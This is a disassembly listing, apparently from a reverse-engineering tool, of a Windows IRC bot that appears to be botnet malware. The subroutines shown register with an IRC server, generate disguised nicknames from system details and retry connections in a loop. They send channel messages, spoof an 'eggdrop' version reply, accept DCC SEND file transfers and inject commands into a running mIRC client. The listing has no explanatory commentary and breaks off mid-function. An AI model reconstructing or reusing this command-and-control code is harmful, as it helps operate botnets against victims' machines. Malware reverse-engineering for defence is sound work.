; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, ds:byte_41E7E8
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E7E8
		call	sub_4105FB
		pop	ecx
		push	offset byte_41E7E8
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E7E8
		call	sub_4105AD
		pop	ecx


loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, ds:byte_41EF98
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EF98
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EF98
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, ds:byte_41F118
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F118
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------


loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F118
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h


loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, ds:byte_41EF18
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EF18
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------


loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_188], eax
		cmp	[ebp+var_188], 4
		jnb	short loc_40D18D
		call	sub_406AE7
		test	eax, eax
		jz	loc_40D31F


loc_40D18D:				; CODE XREF: sub_40D043+13Bj
		call	sub_406A23
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40D1B6
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D1B6:				; CODE XREF: sub_40D043+15Ej
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40D1CF
		call	sub_408E8E
		mov	[ebp+var_250], eax
		jmp	short loc_40D1D9
; ---------------------------------------------------------------------------


loc_40D1CF:				; CODE XREF: sub_40D043+17Dj
		mov	[ebp+var_250], 400h


loc_40D1D9:				; CODE XREF: sub_40D043+18Aj
		mov	eax, [ebp+var_250]
		shr	eax, 0Ah
		mov	[ebp+var_228], eax
		call	sub_408887
		mov	[ebp+var_18C], eax
		mov	[ebp+var_224], offset aB ; "B"
		cmp	[ebp+var_18C], 2EEh
		jnb	short loc_40D213
		mov	[ebp+var_224], offset aA ; "A"


loc_40D213:				; CODE XREF: sub_40D043+1C4j
		cmp	[ebp+var_18C], 1F4h
		jnb	short loc_40D229
		mov	[ebp+var_224], offset aG ; "G"


loc_40D229:				; CODE XREF: sub_40D043+1DAj
		and	[ebp+var_22C], 0
		mov	[ebp+var_220], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_21C]
		rep stosd
		lea	eax, [ebp+var_220]
		push	eax
		call	ds:dword_417030	; GetVersionExA
		cmp	[ebp+var_21C], 5
		jnz	short loc_40D270
		cmp	[ebp+var_218], 1
		jnz	short loc_40D270
		mov	[ebp+var_22C], 1


loc_40D270:				; CODE XREF: sub_40D043+218j
					; sub_40D043+221j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_22C], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_224]
		push	[ebp+var_228]
		push	5Dh
		push	[ebp+var_188]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_24C]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		movsx	eax, ds:byte_41DC08
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DC08
		push	offset dword_41DB88
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41DB88
		call	sub_4105FB
		pop	ecx
		movsx	eax, ds:byte_41DC88
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DC88
		push	offset dword_41EE18
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41EE18
		call	sub_4105FB
		pop	ecx


loc_40D31D:				; CODE XREF: sub_40D043+295j
					; sub_40D043+2BCj
		jmp	short loc_40D343
; ---------------------------------------------------------------------------


loc_40D31F:				; CODE XREF: sub_40D043+144j
		push	offset dword_41DB78
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40D343:				; CODE XREF: sub_40D043:loc_40D31Dj
		lea	eax, [ebp+var_80]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		push	offset byte_41EF18
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D363:				; CODE XREF: sub_40D043+F3j
					; sub_40D043+11Bj
		pop	edi
		leave
		retn
sub_40D043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D366	proc near		; CODE XREF: sub_40A9CF+1521p
					; sub_40D871+4A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF2F
		add	esp, 0Ch
		push	ds:dword_41EA74
		call	sub_40538D
		pop	ecx
		mov	[ebp+var_4], 0EA60h


loc_40D38E:				; CODE XREF: sub_40D366:loc_40D419j
		push	offset dword_41E968
		call	sub_4105FB
		pop	ecx
		push	offset dword_41EA68
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	1
		push	offset dword_41EA68
		push	offset dword_41E968
		call	sub_4050EA
		add	esp, 10h
		mov	ds:dword_41EA74, eax
		push	offset dword_41E968
		call	sub_4105AD
		pop	ecx
		push	offset dword_41EA68
		call	sub_4105AD
		pop	ecx
		cmp	ds:dword_41EA74, 0
		jz	short loc_40D3EE
		push	1
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	short locret_40D41E
; ---------------------------------------------------------------------------


loc_40D3EE:				; CODE XREF: sub_40D366+79j
		push	0
		push	0
		push	0
		call	sub_40CF2F
		add	esp, 0Ch
		push	[ebp+var_4]
		call	ds:dword_41709C	; Sleep
		cmp	[ebp+var_4], 0A4CB80h
		jge	short loc_40D419
		mov	eax, [ebp+var_4]
		add	eax, 0EA60h
		mov	[ebp+var_4], eax


loc_40D419:				; CODE XREF: sub_40D366+A6j
		jmp	loc_40D38E
; ---------------------------------------------------------------------------

locret_40D41E:				; CODE XREF: sub_40D366+86j
		leave
		retn
sub_40D366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D420	proc near		; CODE XREF: sub_4020C2+1DEp
					; sub_40A9CF+1219p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	ds:dword_41EA74
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4AB	proc near		; CODE XREF: sub_4020C2+21Bp
					; sub_40332B+1A6p ...

var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_1008]
		push	eax
		mov	eax, [ebp+var_1008]
		lea	eax, [ebp+eax+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	ds:dword_41EA74
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D53F	proc near		; CODE XREF: sub_401244+51p
					; sub_401244+41Ep ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_40D55F
		jmp	locret_40D6C9
; ---------------------------------------------------------------------------


loc_40D55F:				; CODE XREF: sub_40D53F+19j
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 1
		jnz	short loc_40D58F
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D58F:				; CODE XREF: sub_40D53F+2Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jnz	short loc_40D5BB
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A058
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5BB:				; CODE XREF: sub_40D53F+5Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D5E7
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A048
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5E7:				; CODE XREF: sub_40D53F+86j
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_40D605:				; CODE XREF: sub_40D53F+4Ej
					; sub_40D53F+7Aj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+19Fh], 0
		jz	short loc_40D63C
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D629
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D63C


loc_40D629:				; CODE XREF: sub_40D53F+DCj
		push	offset dword_41A03C
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx


loc_40D63C:				; CODE XREF: sub_40D53F+D0j
					; sub_40D53F+E8j
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D680
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D693


loc_40D680:				; CODE XREF: sub_40D53F+133j
		push	offset dword_41A038
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx


loc_40D693:				; CODE XREF: sub_40D53F+13Fj
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	ds:dword_41EA74
		call	sub_4053BF
		add	esp, 0Ch

locret_40D6C9:				; CODE XREF: sub_40D53F+1Bj
		leave
		retn
sub_40D53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CB	proc near		; CODE XREF: sub_40332B+205p
					; sub_40332B+212p ...

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_416BC0
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	ds:dword_41EA74
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D734	proc near		; CODE XREF: sub_40D74D:loc_40D75Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	ds:dword_4171E8	; FindWindowA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74D	proc near		; CODE XREF: sub_40A9CF+926p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D75E
		jmp	locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D75E:				; CODE XREF: sub_40D74D+Aj
		call	sub_40D734
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40D76E
		jmp	short locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D76E:				; CODE XREF: sub_40D74D+1Dj
		push	offset aMirc	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	ds:dword_4170C0	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	ds:dword_4170BC	; MapViewOfFile
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	ds:dword_4171EC	; SendMessageA
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	ds:dword_4171EC	; SendMessageA
		push	[ebp+var_C]
		call	ds:dword_4170B8	; UnmapViewOfFile
		push	[ebp+var_8]
		call	ds:dword_4170A4	; CloseHandle

locret_40D7E3:				; CODE XREF: sub_40D74D+Cj
					; sub_40D74D+1Fj
		leave
		retn
sub_40D74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40A9CF+E3p
					; sub_40D043+2FAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40D803
; ---------------------------------------------------------------------------


loc_40D7FC:				; CODE XREF: sub_40D7E5:loc_40D86Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D803:				; CODE XREF: sub_40D7E5+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short locret_40D86F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40D82E
		push	39h
		push	30h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D82E:				; CODE XREF: sub_40D7E5+32j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40D86D
		call	sub_410483
		test	eax, eax
		jz	short loc_40D85A
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D85A:				; CODE XREF: sub_40D7E5+5Ej
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al


loc_40D86D:				; CODE XREF: sub_40D7E5+47j
					; sub_40D7E5+55j ...
		jmp	short loc_40D7FC
; ---------------------------------------------------------------------------

locret_40D86F:				; CODE XREF: sub_40D7E5+24j
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D871	proc near		; CODE XREF: sub_40E618+321p

var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= byte ptr -7BCh
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_4B4		= byte ptr -4B4h
var_490		= byte ptr -490h
var_390		= byte ptr -390h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_213		= byte ptr -213h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_95		= dword	ptr -95h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	edi
		push	offset aPing	; "PING"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8A7
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		push	offset aPongS	; "PONG	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8A7:				; CODE XREF: sub_40D871+1Dj
		push	offset aPong	; "PONG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8C2
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D871+4Aj
		push	offset aMode	; "MODE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8DD
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8DD:				; CODE XREF: sub_40D871+65j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 1
		jnz	loc_40DB2D
		push	offset dword_41A14C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jz	loc_40DA81
		push	offset aSend	; "SEND"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+10h]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		cmp	[ebp+arg_0], 0
		jz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_40D98B


loc_40D986:				; CODE XREF: sub_40D871+F8j
					; sub_40D871+101j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D871+113j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+14h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 22h
		jnz	short loc_40D99E
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D99E:				; CODE XREF: sub_40D871+126j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+20h]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41DB88
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		and	[ebp+var_113], 0
		push	7Ah
		push	0
		lea	eax, [ebp+var_10F]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_95], 1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+18h]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_238], eax
		movzx	eax, byte ptr [ebp+var_238]
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 8
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 10h
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 18h
		movzx	eax, al
		push	eax
		push	offset dword_418A50
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+14h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_4024F3
		add	esp, 18h
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DA81:				; CODE XREF: sub_40D871+BAj
					; sub_40D871+C7j ...
		push	offset dword_41A138
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DAAD
		push	offset dword_41A12C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DAEB


loc_40DAAD:				; CODE XREF: sub_40D871+224j
		cmp	[ebp+arg_0], 0
		jz	short loc_40DAD1
		push	offset dword_41DD08
		push	3B7h
		push	0
		push	offset dword_41A108
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 14h
		jmp	short loc_40DAE6
; ---------------------------------------------------------------------------


loc_40DAD1:				; CODE XREF: sub_40D871+240j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_41A0E8
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 0Ch


loc_40DAE6:				; CODE XREF: sub_40D871+25Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DAEB:				; CODE XREF: sub_40D871+23Aj
		push	offset dword_41A0E0
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DB16
		push	offset dword_41A0D8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	short loc_40DB2D


loc_40DB16:				; CODE XREF: sub_40D871+28Ej
		mov	eax, [ebp+arg_10]
